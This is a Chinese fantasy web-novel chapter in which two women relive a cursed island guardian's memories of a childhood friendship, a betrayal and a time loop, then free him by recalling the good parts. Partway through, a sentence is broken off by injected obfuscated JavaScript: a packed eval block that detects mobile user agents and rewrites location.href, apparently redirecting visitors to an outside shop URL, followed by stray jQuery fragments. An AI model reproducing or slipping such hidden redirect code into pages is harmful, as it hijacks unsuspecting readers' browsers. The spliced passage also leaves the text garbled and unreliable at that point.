勐仑话音刚落,众人再次陷入幻象。
朝暮心神失守,心灯因能量剧烈波动而失控。
更多被它吞噬、封存的记忆碎片如同决堤的洪水,将勐仑和云岫的意识彻底淹没。
这一次,不再是杂乱无章的痛苦与欲望的喧嚣,而是被一股强大而悲伤的执念牵引着,逆着时间长河,向着一切的源头追溯。
他们仿佛穿过了一条由无数光影构成的隧道,周围是飞速流逝的四季变幻与潮起潮落。
“尊上,抓紧我的手。”
最终,周围的景象稳定下来。云岫急切检查着勐仑的全身,确定她没有大碍后,才冷静下来,看周围景象。
依旧是那片洁白的沙滩。
仙岛初现,云雾缭绕,却比他们所见过的任何一次都要真实、清晰,充满了生机。
时间流速在这里似乎是正常的。
一个穿着粗布短褂、约莫十一二岁的少年,正赤着脚在沙滩上忙碌地跑来跑去。
他面容清秀,眼神明亮清澈,充满了未经世事的纯粹热情,正是最初的朝暮。
云岫:“那是?”
勐仑:“那是过去的记忆。”
此时的朝暮并非独自一人,还有几位同样穿着古朴、神情却严肃沉稳的成年男女,似乎是他的长辈。
他们正在迎接一批刚刚登岛、历尽风浪的访客。
那时的仙岛,似乎并非后来的模样,虽然神秘,却并无那种诡异的时间错乱感,更像是一处真正的、灵气充沛的海外秘境。
朝暮的职责,更像是引导者和侍者,热情地帮助着疲惫的登岛者。
在所有登岛者里,有个小女孩闯进了朝暮的眼睛里。
她约莫与朝暮同龄,穿着虽朴素却干净,梳着两个小发包,因为晕船而小脸煞白,紧紧抓着她父亲的手,眼神怯生生的,却又带着对陌生环境的好奇。
朝暮第一次见她,不知怎的,脸颊就悄悄爬上了一抹红晕。
他鼓起勇气,端着一碗清澈甘甜的泉水走过去,声音都比平时轻柔了几分:“你、你喝点水吧,喝了就不难受了。”
小女孩抬起头,看到和自己差不多大的少年,眼中的怯意稍退,接过竹碗,小声道:“谢谢哥哥。”
就这样,简单的对话,开启了两人之间一段短暂却无比珍贵的友谊。
朝暮作为“小主人”,带着小女孩阿欢探索着岛屿上一切他觉得有趣的地方。
他带她去采那些会发光的、甜滋滋的浆果;
带她去溪边看尾巴像彩虹一样的小鱼;
在巨大的、散发着清香的蘑菇下躲雨,分享彼此带来的简单零食。
朝暮拿着的是村民做的甜饼,小女孩阿欢的是她娘亲晒的鱼干;
夜晚,他们并排躺在柔软的草地上,指着那片比外界清晰璀璨无数倍的星空,朝暮磕磕巴巴地给她讲那些从长辈那里听来的、关于星星的古老传说。
阿欢总是安静地听着,时而发出轻轻的惊叹,时而提出一些天真可爱的问题。
她的笑容渐渐多了起来,苍白的小脸也变得红润。
她会偷偷把父亲带来的、外面世界才有的小巧玩意儿,一个磨得光滑的贝壳哨子,一小包用油纸包着的饴糖分享给朝暮。
朝暮则把岛上最漂亮的发光石头、最香甜的果子留给她。
两人在海滩上堆砌沙堡,在树林里追逐嬉戏,分享着只属于少年人的、懵懂而纯粹的快乐。
那段时光,如同被蜜糖浸泡过,每一帧回忆都散发着温暖柔和的光晕。
朝暮觉得,阿欢就像岛上突然出现的一颗最亮的星星,照亮了他原本枯燥的守灯生活。
然而,美好的时光总是流逝得飞快。
并非错觉,而是真实的发生。
阿欢惊恐地发现,自己正在快速长大。
她的身形抽条,嗓音变化,脸上褪去了婴儿肥,露出了少女的轮廓。这个过程在外界需要数年,在这里却似乎只用了十几天。
她的父亲,还有其他登岛者,也同样在以惊人的速度衰老。
于是,恐慌开始蔓延。
“朝暮哥哥……我、我怎么了?”阿欢看着水中自己迅速变化的倒影,声音颤抖,充满了恐惧,“爹爹的头发也白了……我们是不是要死了?”
朝暮也慌了,他从未见过这种情况。
他跑去问长辈,长辈们只是沉默地摇头,眼神复杂地看着那些加速衰老的访客,叹息道:“仙岛一日,外界一年。时空之力非凡人所能久承受……这是他们的命数。”
命数?
朝暮看着阿欢眼中越来越多的恐惧和绝望,看着她父亲日渐佝偻的背影,他无法接受。
终于,在一个黄昏,阿欢哭着找到他,原本娇嫩的脸蛋上已隐约有了细纹:“朝暮哥哥,救救我爹,救救我……我不想变得那么老,我不想死……”
看着她梨花带雨的模样,朝暮心如刀绞。
他猛地想起了那盏被供奉在村中禁地、据说是上古流传下来、拥有莫测伟力、但严禁动用的“心灯”。
长辈们只说,它是“希望”,也是“禁忌”。
救她的念头压倒了一切。朝暮偷来了心灯。
在崖边,他捧着那盏古朴的青铜灯,对着哭泣的阿欢,许下了生平第一个愿望。
“灯啊灯,求你让阿欢和她爹爹恢复原样,让他们不要老,不要死……”
心灯的光芒微微闪烁了一下,一股难以言喻的力量弥漫开来。
奇迹发生了。
眼前的阿欢,脸上的细纹消失了,恢复成了那个十一二岁的小女孩模样,她父亲的白发也转黑,腰背挺直了起来。衰老……逆转了!
狂喜淹没了阿欢和她的父亲,也淹没了朝暮。他以为他找到了拯救朋友的方法。
然而,他们很快发现,这种“逆转”是暂时的。
外界来人的衰老仍在持续,需要不断地向心灯许愿才能维持“年轻”。
而每一次许愿,朝暮都能感觉到,心灯的光芒似乎会黯淡一丝,并且会从他身上抽取某种难以形容的东西,或许是精力,或许是别的什么。
但为了阿欢的笑容,朝暮觉得值得。阿欢和她的父亲也从最初的感激,渐渐变得依赖,甚至……理所当然。
如此循环,周而复始。
许愿,逆转,再衰老,再许愿……岛上正常的时间仿佛被拉长,对他们而言,共同度过了数年光阴。
阿欢在“长大”与“变小”之间反复,她的心智在真实的岁月积累和身体的反复重置中,变得复杂而扭曲。
她对朝暮的态度,也从最初的依赖感激,渐渐多了抱怨、不耐烦,甚至……隐秘的怨恨。
为什么她要被困在这里?
为什么她不能像正常人一样长大、生活?
为什么朝暮不能彻底解决这个问题?
终于,在一个电闪雷鸣、暴雨倾盆的夜晚,积累了数年、数十次循环的恐惧、不甘、怨恨彻底爆发了。
已经第无数次变得苍老不堪、行将就木的阿欢,看着铜镜里自己鸡皮鹤发的丑陋模样,再看看旁边因为频繁使用心灯而脸色苍白、却依旧保持着少年模样的朝暮,一个疯狂而恶毒的念头占据了她的心。
她拿着父亲遗留下的、用来防身的匕首,找到了独自在崖边守护心灯的朝暮。
“朝暮,”她的声音苍老沙哑,眼中却燃烧着疯狂的火焰,“把灯给我。”
朝暮愕然:“阿欢?你怎么了?外面雨大,你快回去,明天,明天我再……”
“没有明天了!”阿欢尖声打断他,泪水混着雨水从布满皱纹的脸上滑落。
“我受够了!这种人不人鬼不鬼的日子我过够了!我要这灯!我要永远年轻!我要离开这个鬼地方!”
“不行的,阿欢,心灯不能离开这里,而且它……”
“你不给我,我就自己拿!”被永生和离开的欲望彻底吞噬的阿欢,举起了匕首,用尽全身力气,刺向了那个她曾经视作唯一依靠的少年胸膛!
利器刺入血肉的声音,在雷声中微不可闻。
朝暮难以置信地低头看着没入自己心口的匕首,又抬头看向眼前面目狰狞扭曲的老妪,那双眼睛里再也没有了昔日的清澈与温柔,只剩下疯狂的贪婪。
剧烈的疼痛袭来,但比疼痛更甚的,是那种被彻底背叛、被彻底撕碎的绝望与心碎。
他那么努力地想保护她,甚至不惜触碰禁忌,换来的却是这穿心一刀?
为什么?
为什么会这样?
巨大的悲伤和质问如同海啸般席卷了他的灵魂。
而与此同时,作为上古阵法核心守护者的他,其剧烈的情绪波动,以及心灯感应到的、来自许愿者最极致的恶意与贪婪,彻底引爆了某种平衡。
心灯猛地爆发出前所未有的、足以撕裂一切的光芒。
光芒所及之处,时间彻底失控,疯狂地加速、倒流、扭曲!
阿欢在惊骇中被光芒吞噬,她的生命、她的欲望、她的灵魂碎片被心灯疯狂抽取,化作了第一个没有神智、只会机械重复动作的“村民”!
岛上的阵法发生了可怕的异变。
它不再仅仅是加速时间,而是开始主动抽取登岛者的生命力和欲望来维持自身运转,并将被抽空者化为傀儡般的“守灯人”,将整个岛屿拖入了一个以朝暮的痛苦和执念为核心、不断重复上演贪婪与绝望的永恒噩梦循环。
如此巨大的能量暴动和法则扭曲,终于引来了冥冥中的注视。
一股浩瀚无边的意志降临,伴随着一声穿越时空的叹息。
一道古朴巨大的钟影从天而降,钟声浩荡,强行将暴走的异变阵法与岛屿一同镇压、禁锢。
东皇钟的神纹烙印虚空,形成了隔绝内外的绝对屏障,并将岛屿用迷雾遮掩,希望时光能磨灭这一切。
然而,人心的欲念,即便神器也难以彻底封绝。总有人能穿过迷雾,找到这里,重蹈覆辙。
而朝暮,他不会死。作为阵法核心,他的心与灯早已相连。
□□的创伤会愈合,但那被最信任之人背叛的穿心之痛,那巨大的孤独与绝望,却如同最深刻的诅咒,伴随着他,在这永恒循环的牢笼里,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241657|197763||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
度过了外界数百年的光阴。
他忘记了最初的自己,只记得要“守灯”,记得那些来了又走、最终都化为贪婪面孔的“蜉蝣”,记得那场永不停歇的雨和那把冰冷的匕首……
记忆的洪流消退。
云岫和勐仑意识回归,依旧站在混乱的山谷中,但看向那个抱着闪烁不定心灯、蜷缩着的少年的目光,已充满了复杂的了然与深切的悲悯。
那不是邪灵,那是一个被永恒困在最初伤痛里的孩子。
周围的疯狂仍在继续。
勐仑却突然收起了周身凌厉的魔气。她无视那些嘶吼攻击的疯狂许愿者和机械的村民,缓步走到朝暮面前,蹲下身,血色的瞳孔平静地注视着他。
“那后来呢?”
她的声音出乎意料的平静,甚至带着一丝难以察觉的缓和。
“那个叫阿欢的女孩,后来怎么样了?你们堆的那个最大的沙堡,最后被海浪冲掉了吗?她吹那个贝壳哨子,真的能引来海豚吗?”
云岫微微一怔,随即明白了勐仑的意图。她也看到了那些记忆碎片中最温暖的细节。
朝暮猛地抬起头,沾满泪水的眼睛里充满了震惊和茫然,似乎无法理解为什么在这个时候,这个人会问这些问题。
“我……”他嘴唇哆嗦着。
“还有那包饴糖,”云岫也走上前,声音温和,“她分给你的时候,是不是自己明明也很想吃,却还是掰了一大半给你?”
那些被深埋的、被数百年的痛苦和循环所掩盖的、最初的美好记忆,如同被春风拂过的冰封湖面,开始出现细微的裂痕。
朝暮眼中的麻木和悲伤渐渐被一丝恍惚的回忆所取代。
“沙堡……”
他喃喃道,“……最后,我们一起挖了一条好深好深的壕沟,想拦住海水……可是,还是没拦住……她、她当时气得踩水,溅了我们一身……”
“哨子……”
他仿佛又听到了那清脆却吹不响的声音,“……其实根本引不来海豚,她吹得脸都红了,我就骗她说我听见海豚在很远的地方答应了……”
“饴糖……”
他嘴角极其微弱地向上弯了一下,像一个生疏了很久的表情,“……很甜……她后来还偷偷把她爹藏起来给她娘的一块漂亮的鹅卵石送给了我,说是抵糖……”
他一点一点地回忆着,那些画面如此清晰,仿佛就在昨日。
那个女孩最初的笑容,她的害羞,她的分享,她的陪伴……
那些真实存在过的温暖和美好,并没有因为后来的背叛而消失,它们确实发生过。
“她……她其实……”朝暮的声音哽咽了,“她最开始……真的很好……”
他一遍遍地说着那些细微的、琐碎的、却充满了生机的往事,仿佛要将它们从数百年的尘埃中彻底打捞出来。
随着他的诉说,他怀中那盏剧烈闪烁、散发着不祥红光的心灯,光芒开始逐渐变得柔和。
那妖异的红色渐渐褪去,恢复成一种温暖的、却正在不断减弱的昏黄。
勐仑了然,果然如此。
心灯的光芒,本就源于守护与希望的执念,而当这份执念被巨大的背叛扭曲成吞噬生命的噩梦后,支撑它的,就变成了朝暮对那份温暖的无限追忆和无法释怀的伤痛。
此刻,当那些美好的细节被重新提起、被确认其真实存在过时,那份凝固的、痛苦的执念,仿佛终于找到了一个宣泄口,开始缓缓消散。
他不需要再紧紧抓着那份变了质的回忆来证明什么了。
那些好,是真的。后来的坏,也是真的。
但好的部分,并不因后来的坏而失去意义。
“原来……是这样……”朝暮喃喃自语,脸上是一种大梦初醒般的恍惚与疲惫。
心灯的灯焰,跳动了几下,越来越微弱,最终,轻轻地、彻底地熄灭了。
就在灯灭的那一刻,整个仙岛剧烈地震动起来,但不再是之前的扭曲躁动,而是一种深沉的、仿佛解脱般的下沉。
周围那些光怪陆离的时间景象迅速消退,疯狂的许愿者和麻木的村民如同被风吹散的沙雕,化作点点光芒,消散在空中。
笼罩岛屿的东皇钟虚影发出一声悠远而平和的钟鸣,神纹渐渐隐去,似乎它的使命也即将完成。
岛屿开始缓缓向海底沉去。
朝暮的身体也开始变得透明。
他低头看着怀中熄灭的心灯,又抬头看了看云岫和勐仑,脸上第一次露出了真正解脱的、轻松的神情。
“谢谢你们……”他轻声道,“听我讲完……我们的故事……”
他的身影越来越淡,最终化作无数细碎的光点,如同萤火虫般向上飘散。
在彻底消散的前一刻,一滴晶莹的泪珠从他消失的地方凝结而出,缓缓滴落。
那泪珠中,不再是无尽的孤独与悲伤,而是一种释然与解脱。
光点融入夜空,泪珠落入尘土。
仙岛彻底沉入海中,海面上的迷雾随之缓缓散去,仿佛一切都从未存在过。
勐仑:“朝暮,一路走好…”